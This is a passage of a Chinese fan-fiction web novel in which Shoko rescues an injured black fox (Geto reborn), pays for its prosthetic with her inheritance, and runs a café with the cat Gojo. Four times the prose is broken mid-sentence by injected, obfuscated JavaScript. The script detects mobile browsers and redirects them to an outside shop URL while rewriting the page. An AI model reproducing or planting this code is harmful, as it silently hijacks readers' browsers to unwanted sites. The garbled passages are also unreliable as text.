家入硝子微微一顿,她的手已经伸到了狐狸面前,距离对方湿润的鼻尖不到十厘米,她干脆继续向前,手指碰到对方皮毛的一瞬间,没被挠也没被咬。 狐狸只是盯着她,琥珀色的眼睛里警惕还在,但刚刚的凶狠和警惕已经褪去了大半。 “我还以为很凶,” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365220|199803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家入硝子轻声说着,手指在它的背上轻轻抚过,“原来都是虚张声势吗?” 她不再犹豫,小心地把它抱了起来。 硝子低头看了一眼脚边。 砂糖不知道什么时候已经安静下来了。刚才还焦急地绕着她转、咬着裤脚往外拖的那只猫,此刻只是蹲在不远不近的地方,静静地看着她和她怀里的狐狸。 那双蓝眼睛里的焦急已经消失了,取而代之的是一种很奇怪的平静。好像它知道,只要把硝子带到这里,接下来的事就不需要它再操心了。 狐狸身体的温度透过皮毛传到她手心里,还有细微的、不自主的颤抖。它没有挣扎,而是一直保持着全身紧绷的姿势,双爪小心翼翼地悬空着,不敢碰任何东西。 就在这时,她看到了对方那只一直藏在身下的右爪,前端断了一截,断口处血肉模糊。 家入硝子整个人愣在原地。风从街角吹过来,带着五月该有的暖意,但她突然觉得有点冷。 五分钟后,还在城东走访的医生,手机突然响了起来。他立刻接起,电话那头传来家入硝子的声音。 “有急诊,”她的声音很平静,但医生隐隐约约感觉到了某种不对劲,“现在回来。” 他没多问,挂了电话就马不停蹄地往回赶,留小林一个人站在领养人家门口,对着他远去的身影哀嚎:“我也要回去看急诊!别丢下我一个人啊!” 事实证明,宠物医院那些没来得及处理的设备,留在仓库里还是有道理的。 医生又穿上了久违的白大褂,戴上口罩和手套。硝子已经提前把仓库里的设备翻了出来,止血钳、消毒水、缝合针……一样一样地铺开在临时搭起的手术台上。 黑色的狐狸躺在手术台上,麻药的效力让它彻底安静下来,只有胸口的起伏证明它还活着。它的右爪小心翼翼地伸展着,断口处的血迹已经被硝子初步清理干净。 硝子照常在旁边帮忙,从递工具到配合止血、协助缝合,这套动作她一个月前做的时候还有点生疏,现在做起来已经得心应手了。医生的眼神在她手上停留了一瞬,什么都没说,但硝子知道他在想什么。 一个小时后,医生摘下沾血的手套,看着躺在垫子上、前爪缠满纱布的狐狸,皱着眉头喃喃道:“这狐狸以后就只有三只腿了,会影响它正常行走。” 硝子没说话,只是静静地站在旁边,目光落在那只狐狸身上。 麻药的劲还没过,它安静地躺在那里,胸口起伏平稳。纱布缠得很整齐,但谁都看得出来,右边那截空荡荡的。 她突然想起刚刚被抱在怀里时,对方一直盯着她的眼神。 好像在看她,又好像在看她身后很远的地方,和砂糖偶尔会露出来的眼神有点相似。 “给它做个假肢呢?”她突然转向医生,开口道。 医生愣了一下,显然没料到她会提出这样的想法。 旁边传来一声响亮的“喵”。 两人同时转头看去,砂糖正蹲在旁边的凳子上,尾巴翘得老高,蓝色的眼睛亮亮的。 8. 第八章 给动物做假肢这件事,听起来简单,真正实操起来却难如登天。 家入硝子拎着装狐狸的箱子回家后,一进门就把笔记本电脑搬到茶几上,开始上网搜索相关的资料。搜索结果五花八门,有给大型犬做金属支架的,有给奶牛猫3D打印后爪的,还有给乌龟装滚轮的。她耐着性子翻了几页,发现真正有用的信息少得可怜。 她干脆换了个思路,开始在搜索引擎里输入“动物假肢+定制”、“假肢制作+教程”的字样,再逐一排除掉那些博人眼球的标题党。 砂糖从玄关的柜台上跳下来,悄无声息地趴在硝子的鼠标旁,安静地看着液晶屏幕的蓝光照在她紧绷的侧脸上。 两个小时过去,面前的A4纸上画满了草图。第一张太简略,第二张太繁琐,第三张受力点不对,第四张看起来不错但不知道怎么固定……她把否定掉的方案揉成一团扔到一边,又拿过一张新的纸。 先确定狐狸断肢的部位长度,她拿着卷尺对着笼子里窝着的狐狸比比划划,然后在纸上画了个大致的记号。 再设计假肢的尺寸和受力点,参考她见习医生时的经历,结构一定要稳,材质要足够轻,才能让它正常行走。 砂糖偶尔垂着头舔舔爪子,或是站起来伸个懒腰,大多数时候就那么趴着,尾巴轻轻地搭上她的手腕。 而那只放进金属笼子里被一同带回来的黑狐狸,此时正趴在垫子上,因为药物的缘故沉沉睡去。它的呼吸很平稳,断掉的右爪被纱布包得严严实实,安静地搁在身侧。 硝子画完第十二版草图,揉了揉眼睛,看了一眼电脑右下角的时间:凌晨两点。 第二天一早,家入硝子顶着大大的黑眼圈,提着铁笼子脚步虚浮,脚边跟着亦步亦趋的砂糖。她像整个人的魂都飘走了一般,慢悠悠地推开了咖啡厅的门。 她把笼子放到柜台上,拉开一张椅子就瘫坐下去,整个人往桌上一趴,把脸埋进手臂里。 白色的缅因猫跟着跳上柜台,隔着金属栅栏盯着里面眼神不善的狐狸。狐狸看见它凑过来,喉咙里立刻发出一声低沉的呜咽。 砂糖的耳朵动了动,没理它,自顾自地在柜台上找了个晒得到阳光的舒服位置趴下。 后厨传来一阵动静,小林探着脑袋钻了出来,看到硝子那副憔悴模样,还有柜台上的狐狸,眼睛瞬间瞪得溜圆。她围着狐狸的笼子转了一圈,语气里满是惊奇:“硝子姐!你在哪儿捡到的?活的狐狸!这也太酷了吧!” 家入硝子没抬头,声音闷在手臂里,有气无力:“就上次捡砂糖那个路口。” “同一个地方?”小林愣了两秒,然后一拍大腿,“我就说你是驯兽大师吧!那个电线杆是不是连接着什么神秘空间啊?下次能不能捡条神龙回来?” 家入硝子终于抬起头,一脸生无可恋地看着她:“别捡个人回来就行。” 小林愣了一下:“什么意思?” “没什么,”硝子又趴下去了,声音含糊,“不过我倒是有预感,这应该是最后一次了。” 今天的咖啡厅特意挂了“今日闭店”的招牌,因为三人要去找合适的材料和工匠,帮狐狸做假肢。 医生一早就到了,手里还拿着手机,正不停打着电话。他联系上了一个专门定制宠物康复器材的厂家,对方报价很快,发过来一个密密麻麻的excel表格,各种材质、工艺、配件的价格看得人眼花缭乱。 家入硝子凑过去看了一眼,目光落在最后一列的总价上,眼前一阵发晕。 五位数。 她沉默了三秒,面无表情地把手机还给医生,缓缓转头,目光落在脚边正蹲在地上舔爪子的砂糖身上。砂糖察觉到她的视线,立刻停下动作,蓝眼睛里写满了大大的疑惑。 家入硝子蹲下去,让自己的视线和对方齐平。 “砂糖啊,”她略带沧桑地说,“虽然我们开咖啡厅是回本了,但也就勉强补上医生到处捡动物的窟窿。你这次捡回来的狐狸,你是第一责任猫,它的假肢制作费,你可得负责啊。” 砂糖的耳朵动了动,眨了眨蓝色的眼睛,一脸“我只是只小猫咪,你在说什么我听不懂”的无辜表情。 硝子面无表情地盯着它,静静看了三秒。 砂糖也不慌,依旧维持着那副无辜模样,圆眼睛一眨不眨地回盯着硝子。 然后它伸出爪子,轻轻按在硝子手背上,像是在说:你加油,我只提供精神上的支持。 硝子的嘴角抽了抽,半天没憋出一个字,只剩一串无声的“……”。 一旁的医生实在看不下去了:“家入小姐,实在不行的话,我这边还有点存款——” 小林也犹豫地掏出手机,划到余额页面看了一眼,表情肉眼可见地僵了一下,然后咬咬牙:“我、我也可以凑一点!” 家入硝子无奈地按了按眉心,哭笑不得道:“我就开个玩笑,你们怎么都那么认真?” 医生和小林同时愣住。 “开玩笑?”小林凑近盯着她的脸,语气里满是怀疑,“硝子姐,你这张脸可不像是开玩笑的样子。” 家入硝子没说话。 医生和小林对视一眼,又看向她。 她的嘴角确实往上抬了那么一点点,弧度上升了不到两毫米。但她的眼睛死气沉沉的,一点光都没有。 两人同时陷入沉默。 过了几秒,小林小心翼翼地问:“硝子姐……你还有钱吗?” 家入硝子微微抬起下巴。 “我捡的猫,我当然得兜底嘛,”她的语气很淡,听出太多情绪,“事实上,我应该有一笔遗产可以用。” “遗产?”小林这回彻底愣住。 硝子没再解释,只是缓缓站起身,走到玄关处掩上了咖啡厅的门。 身后的两人对视一眼,把椅子拉过来,围成一个“三方会谈”的局势。 两人一猫一狐坐在柜台前,听家入硝子讲过去的事情。 家入硝子,今年二十五岁,无父无母,孤身一人。她不是天生的孤儿,父亲是医生,母亲是作家,家境殷实父母开明,是标准的幸福一家。只是她小学三年级时,一场意外车祸夺走了双亲的性命,也终结了她无忧无虑的童年时代。 亲戚们觊觎她父母留下来的那笔不菲财富,却没人真的关心一夜之间失去父母的小女孩。最后是她国外的小姨坐最快的国际航班回来,带着她去办了孤儿身份证明和遗产托管手续,父母留下来的那套房子、存款还有两本她当时还看不太懂的保险单,全部暂时冻结在民政局的监管账户里。 这也就是她作为一个初出茅庐的打工人,却能在江城寸土寸金的学区房中心有块落脚地的缘故。 小林听完,整个人愣在原地。过了好几秒,她才反应过来,然后“哇”地一声抱住硝子。 “硝子姐!你好惨啊呜呜呜——” 家入硝子被她勒得喘不过气,面无表情地伸手推开她的脸:“松手。” “我不!”小林抱得更紧了,眼泪蹭得硝子的衣服湿了一片,“原来你一个人扛了这么多!我以后再也不吐槽你脸冷了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365221|199803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “你现在就在吐槽。” “这是夸你!夸你厉害!” 医生在旁边默默看着,嘴角带着一点欣慰的笑意。 小林终于松开手,擦了擦眼泪,然后像是想起什么似的,突然看向硝子:“所以你的意思是,现在你要动那笔钱了?” 家入硝子撑着下巴,语气云淡风轻:“反正放着也是放着嘛。” “可是那是你爸妈留给你的——” “他们留给我就是让我用的,”硝子打断她,“现在用,和以后用,有什么区别?” 在三人的脚边,白色的缅因猫凑到关着黑狐狸的笼子面前,用厚实的爪垫拍了拍笼子的金属栅栏。 “干什么?”笼子里传来狐狸瓮声瓮气的问话,还带着几分没好气的不耐烦。 “硝子这么惨了,还要掏出自己爸妈留的遗产救你耶,”五条悟绕着笼子走了一圈,蓬松的尾巴搭在笼子上,白色的毛毛立刻涌了进去,“教主大人不应该有点表示吗?” 对方沉默地趴伏在原地默不作声。 但他清楚,五条悟这人不给他回复,他是不会善罢甘休的。 前盘星教教主·现残疾狐狸夏油杰眯起眼睛,看着那张紧紧贴在金属栅栏上,被挤得变形的猫脸:“你总得给我点适应的时间吧?又不是谁都能像你那样随遇而安。” “所以我才一直在劝你啊!”对方理直气壮地反驳,“这个世界多好啊,没有咒灵,没有咒力,大家全是你口中的猴子哦?早点放下,和我一起经营咖啡厅吧~” 夏油杰看着对方因为贴得太近,而变得扭曲滑稽的猫脸,一阵无语。 吐槽归吐槽,他还是顺着对方的话,沉默了片刻。 “不过说真的,硝子一点记忆都没有,”缅因猫用脑袋拱着笼子的门,金属栅栏一阵咯吱咯吱响,“你不会在介意这个吧?” “我可没说过这种事。”狐狸笑眯眯地。 过了一会儿,缅因猫又开口了:“不过,没有记忆对她来说才是好事吧。” 夏油杰的动作顿了一下,缓缓抬起脑袋,看着对方的眼睛,然后点了点头:“……对啊。” 他心里清楚,自己说的“对”,并不是指她脱离了咒术界这件事,而是如果硝子保有上辈子的记忆,这一世眼睁睁看着父母在自己面前断气,却无能为力,可能会彻底崩溃吧。 “所以啊,”缅因猫哼哼了两声,把一只爪子贴在笼身上,“和我一起,好好守护这份难得的日常吧。” 黑色的狐狸没说话,只是静静地看着对方,过了几秒,它缓缓抬起了完整的左爪,隔着金属笼子和对方的爪垫碰了碰。 家入硝子坐在不远处的椅子上,垂下眼正好看到这一幕。 她愣了一下。 那只白猫和那只黑狐狸,一个在笼子里,一个在笼子外,两只爪子隔着金属栅栏碰在一起,就像两只拳头碰在一起。阳光从树叶的缝隙里洒下来,落在它们身上,镀上一层浅浅的金色。 这个画面熟悉又陌生,她好像在哪里见过。 可无论她怎么努力去想,脑海里都一片空白。只有一丝淡淡的熟悉感萦绕在心头,挥之不去。 砂糖回头看了她一眼,蓝眼睛里好像有话要说。但它只是轻轻晃了晃尾巴,又把头转回去,和笼子里的狐狸一起安静地趴下。 硝子看着它们,缓缓收回目光。 算了。她在心里默默想道,想不起来的事情,可能本来就不重要吧。 风从窗外吹进来,带着初夏的气息。 9. 第九章 夏油杰正在思考人生,不对,准确地说来是思考狐生。 比死而复生更离谱的事情,是灵魂被塞进一只动物的躯壳里,然后打包丢给了十年没见的同期。 他花了整整三天才接受了这个事实,反正都这样了,再折腾还有什么用呢? 大概是内心麻木到连攻击人类的兴致都没了,他总算从那个憋屈的金属笼子里被放了出来,不过除硝子以外的人胆敢靠近半分,他该龇牙还是龇牙,该哈气还是哈气。 就算理智上得知了这是一个只有“猴子”的和平世界,情感上也无法迅速调整过来。 他趴在柜台上,嗅着店里的咖啡和甜点香气。五月的阳光晒在身上有些发热,但并不烫,只觉得浑身上下都暖烘烘的,从骨子里透出一股懒散气息。换做以前,他绝对不会允许自己这么松懈,那时候他还有自己的大业要完成,肩上背负着太多沉重的东西。 但现在他只是条缺了只前爪的狐狸。 通身雪白的大猫在他眼前晃来晃去,从柜台跳到咖啡机顶上,又从咖啡机顶跳到窗台上,尾巴翘得老高。 夏油杰眼皮都懒得抬一下。 可架不住对方总在他眼前晃,看久了,他还是注意到了点东西。对方腰部那一圈的皮毛,明显要新一些、短一些,和周围蓬松的长毛格格不入。 不过他也没多问。反正这家伙能吃能喝能蹦跶,还能在他面前晃来晃去烦人,比他这个六级残疾要好多了。 有了硝子那笔资金的保障,假肢的定制水到渠成。 黑色的狐狸趴在柜台上,支起一只耳朵听硝子和小林讨论这件事。家入硝子直接挑了最仿真的那种,按她的话说,毛茸茸的动物配个金属假肢,看着实在违和。 定制公司还要一段时间才能送来,于是这些天,他就一直待在店里。 店里的人,他差不多也认全了。 那个整天咋咋呼呼、店里一没人就打开电脑开始玩连连看的女生叫小林,负责店里甜品的制作,手艺只能说马马虎虎,但热情过了头,每次凑过来想摸他的毛,都被他龇牙凶回去,可第二天依旧笑嘻嘻地端着小饼干凑过来,主打一个越挫越勇。 戴眼镜的中年男人是医生,据说是这家店的前主人。话不多,性子温温吞吞的,就是偶尔会冒出一些没头没脑的话,完全察觉不到现场的冷场。 剩下的就是家入硝子,不但完全没有咒术师和咒灵的记忆,这辈子甚至没有当上医生,而是刚从做产品开发的前公司辞了职。没了咒术界的负担,她脸上的疲惫少了很多,只是那张脸上依旧没什么表情。 三个人吵吵嚷嚷的,盘活了这家开在大学城角落里的咖啡店。 店里的顾客大多是附近的大学生,三三两两坐在一起,点上一杯咖啡,一边聊天一边赶作业。不过偶尔也会有例外,比如现在—— 玻璃门在说笑声中被拉开,三个戴着小黄帽的小萝卜头格外熟练地钻了进来。 砂糖拖长了调子,懒洋洋地“喵——”了一声,这就算是打了招呼,敷衍得不能再敷衍。它后退两步,一个助跑加起跳,轻巧地落到夏油杰面前。 虎杖悠仁兴冲冲地跑在最前面,一进门就追着白猫的影子直奔柜台:“五条老师!” 狐狸听到这个熟悉又陌生的称呼,耳朵微微动了动,慢悠悠地起身朝那边看了一眼。看清来人是三个毫无印象的小鬼之后,又施施然趴了回去。 下一秒,它就和那个眼睛睁得大大的小鬼大眼瞪小眼。 虎杖悠仁因为身高太矮的缘故,此时还够不着柜台,所以他扒着柜台边缘踮脚往上探,本来是想和五条悟问好,结果跃入眼帘的是一张和白猫大相径庭、黑乎乎的狐狸脸。 “呃,”小鬼愣了愣,语气干巴巴的,脸上的笑容瞬间僵在嘴角,“五条老师你怎么被烤糊了?” “……” 哪里来的没礼貌的小鬼? 夏油杰伸出仅存的左爪,面无表情地把他摁了下去。旁边顿时传来一阵夸张的动静,那只白猫笑得从柜台上滑下去,四脚朝天一抽一抽地。 钉崎野蔷薇凑过来,对着他颇感兴趣地打量:“这狐狸哪儿来的?长得还挺酷。” 伏黑惠站在后面,没说话,但眼神一直落在他身上。 夏油杰和那双古井无波的黑色眼睛对视了一秒,没想起这是谁,但是对方的轮廓和某个仇人有点像,他的心底升起略微的不爽,从鼻子里发出一声冷哼。 “砂糖捡的。”家入硝子在一旁抄着手,言简意赅。 钉崎野蔷薇这才低下头,看向脚边滚作一团的白团子,朝着伏黑惠努了努嘴,示意他去把在地上扭动的白猫摆端正。 “对了家入小姐,”钉崎又转过头看向硝子,好奇地问,“这狐狸有名字吗?” 硝子这才后知后觉地想起来,还没给狐狸起名字呢。 按理来说应该是砂糖来起,不过估计它只能起出“喵咪”“喵嗷”这种毫无实义的名字。 她冥思苦想了半天,目光扫过三个小鬼手里拿着的苏打水,灵光一现:“就叫苏打吧。” 小林从后厨探出个脑袋,语气里满是吐槽:“砂糖、苏打……硝子姐,你是不是把咖啡厅的原料单当起名册用了?” 硝子面无表情地瞥了她一眼:“冰箱里还有牛奶和蜂蜜呢,你要不要?” 小林瞬间闭了嘴,缩了回去。 刚被伏黑惠扶正的白猫此时又笑成一滩:“苏打……哈哈哈哈哈夏油苏打!” “容我提醒你一句,五条砂糖好像也没好到哪里去。”夏油杰皮笑肉不笑地回敬道。 家入硝子端了一杯给自己喝的黑咖啡从后厨出来,就看到柜台上的两只毛茸茸莫名其妙地扭打在了一起。缅因猫把狐狸的尾巴按在台面上,狐狸反手就是一爪子拍在猫脸上,你一下我一下,打得你来我往、热火朝天,但谁也没真下狠手。 家入硝子视若无睹地从它们身边走过,目光落在已经乖乖坐在椅子上的三小只身上:“你们今天不用写作业?” 兴许是想起了上次被缅因猫的尾巴抽得满脸红印的惨痛经历,虎杖捂着腮帮子,故作开朗道:“今天的作业在学校就全部写完啦!” 硝子挑了挑眉,心里并不相信他的话。这小鬼能按时写完作业就不错了,还能提前在学校就全部搞定? 伏黑惠在旁边默默地戳穿他:“今天的作业是分组写社会观察报告,不是在学校就能写完的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365222|199803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说到这里,他从书包里拿出一沓被装订好的问卷材料放在桌上。 “伏黑你太无趣啦——”虎杖在旁边不满地碎碎念,“不是说好要当惊喜的吗!你怎么直接就说出来了!” “这根本不是惊喜,而是惊吓吧。”伏黑惠淡淡道。 家入硝子拿过那份材料,随手翻了翻,小林不知道什么时候凑了过来,探着脑袋看:“嚯,居然想调查我们每天能售出多少订单?” 她一拍桌子,装模做样道:“这可是商业机密,小家伙们!要想拿到数据,得先加盟我们咖啡店,缴纳加盟费……” “小林,你放进烤箱的曲奇饼已经烤了一个小时了。”家入硝子头也不抬。 小林脸上的恶人相一僵,反应过来后尖叫一声,匆匆忙忙地蹿回后厨。 那份曲奇饼其实在半个小时前就已经烤好,被端出来放进橱柜里了。但家入硝子没说。 她快速地浏览完了手里的那份材料,这才抬起头看向面前的三个小学生:“所以,你们选了我们店当调查对象?” 虎杖和钉崎连忙点头如捣蒜,伏黑继续依旧保持着他的酷哥冷脸,只是轻轻点了点头算是回应。 不过钉崎点头点到一半,突然皱起了眉头,语气有些不愉快地开口:“但是这个小组本来是五个人,我们班正好三十三个同学,分组的时候多出来两个……” 硝子眨了眨眼,等着她继续说下去:“你的意思是……” “意思就是,隔壁班有两个没有组别的同学,被老师安排到我们小组来了。”伏黑惠适时开口解释道。 “五个人?”家入硝子疑惑地张望了一圈,店里除了他们几个,就只有零星几个大学生,没看到其他小学生的影子,“可这里只有你们三个啊,另外两个呢?” 虎杖挠了挠头:“那两个隔壁班的同学,好像是因为和别人合不来,所以一直没分到组。我上课前把我们调查的地点写在便签纸上,送到她们班去了,但是一直没收到消息,也不知道来不来。” 钉崎野蔷薇抱着双臂,一脸不乐意:“我看就是不想来,故意偷懒!直接把她们踢出去算了,反正我们三个也能做完,多两个人还麻烦。” “别这么说嘛,”虎杖打了个哈哈,试图打圆场,“说不定是家里临时有事,来不了呢?再等等嘛。” 家入硝子默默在心里腹诽:怎么小组作业的不良风气,都蔓延到小学生里了?还是说,这种偷懒耍滑的家伙,其实从小学就开始有了? 她把材料放回桌子上,看向眼前的小学生们:“不过我们店今日的营业数据,要等到晚上八点打烊后才能统计出来,明天给你们没问题吧?” 三个小学生连忙点头:“没问题没问题!我们只需要简单的售出数量就行了,别的信息不需要!” 硝子也点了点头,随手拿过一张桌子上的菜单:“那我先给你们说一下,我们店里卖得最好的几类产品……” 她的话音顿住,目光下意识地落在了不远处的玻璃门上。 原因无他,此时,玻璃门外正趴着两个小小的身影,是一对头发一黑一黄的双胞胎,正目不转睛地盯着店里——准确来说,是盯着店里柜台上,还在互扯头花的猫和狐狸。 10. 第十章 看来这两位,就是小学生三人组刚刚一直念叨的,那两个难相处的邻班同学了。 家入硝子面不改色地把菜单搁在桌上,抬眼望向门口。那对穿着打扮一模一样的双胞胎磨磨蹭蹭地推开玻璃门,如临大敌地挪到他们面前。 “啊,是美美子和菜菜子同学!”虎杖顺着硝子的目光看过去,十分自然地摸着后脑勺,咧开嘴打了个招呼。 但双胞胎似乎并不领情,此时她们眼里只有那只不知何时停下动作,正回头望着她们的狐狸。 家入硝子默默观察了半天,总觉得这一狐两人之间的气氛有些微妙。 下一刻,双胞胎就转过视线,目光直勾勾地落在她身上。 她懒洋洋地抬眼,刚开口:“你们……” 话才说到一半,两个女孩子突然拉开书包,在里面一阵翻找,然后将掌心摊开到她面前。 躺在女孩手心的,赫然是两只印着卡通狐狸图案的儿童钱包。 虎杖看得有些摸不着头脑:“你们这是……” “这是我们一直攒下来的钱,一共四千五百九十八,”菜菜子一脸认真地指着柜台上的黑狐狸,语气郑重,“那只狐狸多少钱,我们要买下来!” 小学生三人组当场被这霸气宣言震得目瞪口呆。 家入硝子眯起眼睛,打量了一下对方手里图案稚嫩的钱包,又看了看那只不知何时已经站起来了的黑狐狸。 她思考了几秒,在两双恳切又亮晶晶的目光里淡淡开口:“那只狐狸的前爪断了,我刚下单了仿生义肢,定价是两万八。” 菜菜子、美美子:“!!!” 两个小姑娘顿时瞪大了眼睛,彼此对视了一眼,都从对方眼里看到了震惊和不甘,然后美美子转过头,咬着嘴唇倔强道:“那、那也没关系!我们会继续攒钱的!” “两万八只是初步价格,后续还要调整、维护,”家入硝子毫不客气地帮她们分析,“后续要花的钱只会更多。” 美美子的眼泪已经在眼眶里打转了:“我们会努力的!” 家入硝子看了一下快要掉小珍珠的两姐妹,默默吐槽自己只是实话实说,怎么搞得她像个欺负小孩的坏人一样。 她有些无奈地抬手顺了顺自己的头发,语气一转:“不过,我暂时也没有把狐狸送走的想法。你们要是想来看的话,营业时间都可以来,就是不能随便上手摸。虽然我们这里也有狂犬疫苗,但要是你们家长找上门来,我可应付不了。” 钉崎悄悄凑到旁边两人旁边,压低声音咬耳朵:“家入医生看起来毫不留情,但其实还是蛮好心的嘛。” 因为苏打这个“狐质”的缘故,枷场菜菜子和枷场美美子自此之后,每天放学后都跟着小学生三人组一起过来,一边写社会观察报告一边守着狐狸,一待就是半个月。 说来也怪,这只对着别人哈气龇牙的狐狸在两姐妹面前却异常慈祥。没错,就是慈祥。每次两姐妹一来店里,对一切都爱答不理的苏打就立刻变得慈眉善目起来,家入硝子都忍不住怀疑,这俩小姑娘和狐狸,上辈子是不是真有什么不解之缘。 但毕竟是她和砂糖先捡到的苏打—— 硝子看着狐狸圆滚滚的脑袋,下意识上手摸了一把。 凡事都要讲个先来后到,不是吗? 过了两天,苏打的假肢如期送到。 装假肢的那天,几个小学生、小林和砂糖围了一圈,目不转睛地看着医生和上门的工作人员帮狐狸固定和调整组件。 家入硝子抱着手臂站在一旁,饶有兴致地看着眼前这一幕,心里也忍不住有些期待。给狐狸装假肢,就算是她这个前医学生,也是第一次见呢! 一切大功告成之后,苏打试探性地踩了踩固定在断肢上的义肢,里边是坚固轻便的碳纤维材质,外面裹着一层毛绒绒的仿真皮毛,不仔细看的话还真看不出来是假的。 两万八的义肢无愧于它的价格,苏打已经能踉踉跄跄地四足行走,再过一段时间适应,估计就能和砂糖一样跑跳自如了。 围在一旁的小学生们瞬间爆发出一阵欢呼,美美子和菜菜子最为激动,感动得都快哭了。 家入硝子的嘴边也不自觉地勾起一抹浅淡的笑意。她正准备转身去后厨里处理明天要用的咖啡豆,脚边却被一团毛茸茸暖烘烘的东西轻轻勾了一下。 她低下头,只见苏打正襟危坐在她的脚边,正仰着脑袋看向她。 “怎么了?”家入硝子挑了挑眉,俯下身去。 狐狸一直垂在身后的尾巴轻微地晃了晃,伸出爪子按在她的鞋子上,从喉咙里发出一串轻柔的轻响。 “它这是在感谢你呢,家入小姐。”医生在旁边笑眯眯地说道。 一旁的双胞胎姐妹的表情复杂,眼里又是羡慕,又是感激。 家入硝子的眉眼一下子柔和下来,她伸出手摸了把对方放松下来的耳朵,视线里却突然跃入一道白色的身影。 只见砂糖慢悠悠地伸出爪子,按在狐狸的前爪之上。 家入硝子看着自己被踩在最下面的鞋尖,刚刚心里的那点触动瞬间消失得无影无踪。 “猫爪在上?”她面无表情地吐出这四个字。 被曲解了意图的狐狸当场愤怒地“嗷呜”一声,和故意捣乱的缅因猫扭打在一起。 如今店里这两只毛茸茸都戴上了小林设计的金属宠物铭牌,背面是它们的名字和硝子的联系电话。有了正式的“身份证明”后,这两只就可以在咖啡店不营业的整个上午,肆无忌惮地出门晃悠。 只是硝子发现,自己是真搞不懂这一狐一猫的关系究竟是好还是坏。 安静下来时,苏打还会耐心帮砂糖打理毛发,因为这家伙自己舔毛的技术真的是烂到家了;下一秒黑影和白影便瞬间缠斗在一起,颜色各异的毛毛满天飞。 “我说,”家入硝子看着苏打身上的白毛和砂糖身上的黑毛,头疼地按了按眉心,“你们两个能不能对自己的掉毛量心里有点数,再这样下去,连客人的咖啡里都要飘猫毛狐狸毛了!” 此刻已是五月,气温渐渐升高,动物们都要褪去冬天厚实的绒毛,换上轻薄透气的夏毛。店里三个人每天轮流扫地、擦桌、擦柜子,可即便如此,橱柜边缘、桌角旁,还是时不时会冒出几根不听话的毛。 苏打愧疚地垂下脑袋,眼观鼻鼻观心,反观砂糖一点也不在意,自顾自地用爪子追地上摇曳的光斑,玩得不亦乐乎。 家入硝子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365223|199803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷冷盯着充耳不闻的缅因猫,语气凉飕飕地:“要是明天再让我看到后厨里有一根猫毛,你就等着被送去莉奇酱那里,剃光了再回来吧。” 砂糖震惊地抬起头,砂糖瞳孔地震,眼中闪烁着难以置信的光! 旁边的黑狐狸一听就知道硝子是认真的,立刻扭过头偷偷摸摸地往门边蹭。 “你也一样,苏打。”头顶上方立刻传来一道平静的宣判。 黑色的狐狸僵在原地,保持着鬼鬼祟祟迈出一只爪子的姿势,活像一尊石像。 要一只天生毛茸茸的小猫咪控制自己的掉毛量,这也太强猫所难了吧? 小公园里,白色的缅因猫正趴在长椅上,喵喵咧咧地冲旁边的黑狐狸控诉家入硝子的不近人情。 夏油杰假装什么都没听见,但他还是下意识低头瞥了眼自己的身上,真的有白色的猫毛吗?他扭着脑袋找了半天,终于在尾巴根那里揪到两根显眼的白毛,心虚地用爪子扒拉了两下,试图毁尸灭迹。 五条悟不满地坐直了身体,正要继续发表长篇大论,耳朵忽然一动—— 不远处传来脚步声,还有叽叽喳喳的说话声。 两个穿着社团服的女生正边走边兴奋地讨论着什么。 “你听说了吗?五月底学校要和校外的那些店铺搞‘校园推广周’!” “知道知道,是不是在网上开了投票,票数前十的店还能在文化祭上设摊位?” “对呀,我想推荐车站旁边那家的文创店!他家最近又新出了毛绒绒家族的新成员,好像是只水豚呢,圆滚滚的超可爱!” “水豚?那有什么稀奇的,”另一个女生晃了晃手机,“你看见七班的雪理发的照片了吗?有只超大的缅因猫来着,雪理说那只猫比她老家的柯基还大!而且最近好像还多了只狐狸,黑色的。” “狐狸?!真的假的?” “我骗你干嘛,你看你看,就是这张——”她把手机凑到同伴面前,两人凑在一起小声惊呼。 “居然是活的黑狐狸!背景里的那只猫就算只露个背影也好显眼……那家咖啡厅在哪儿?” 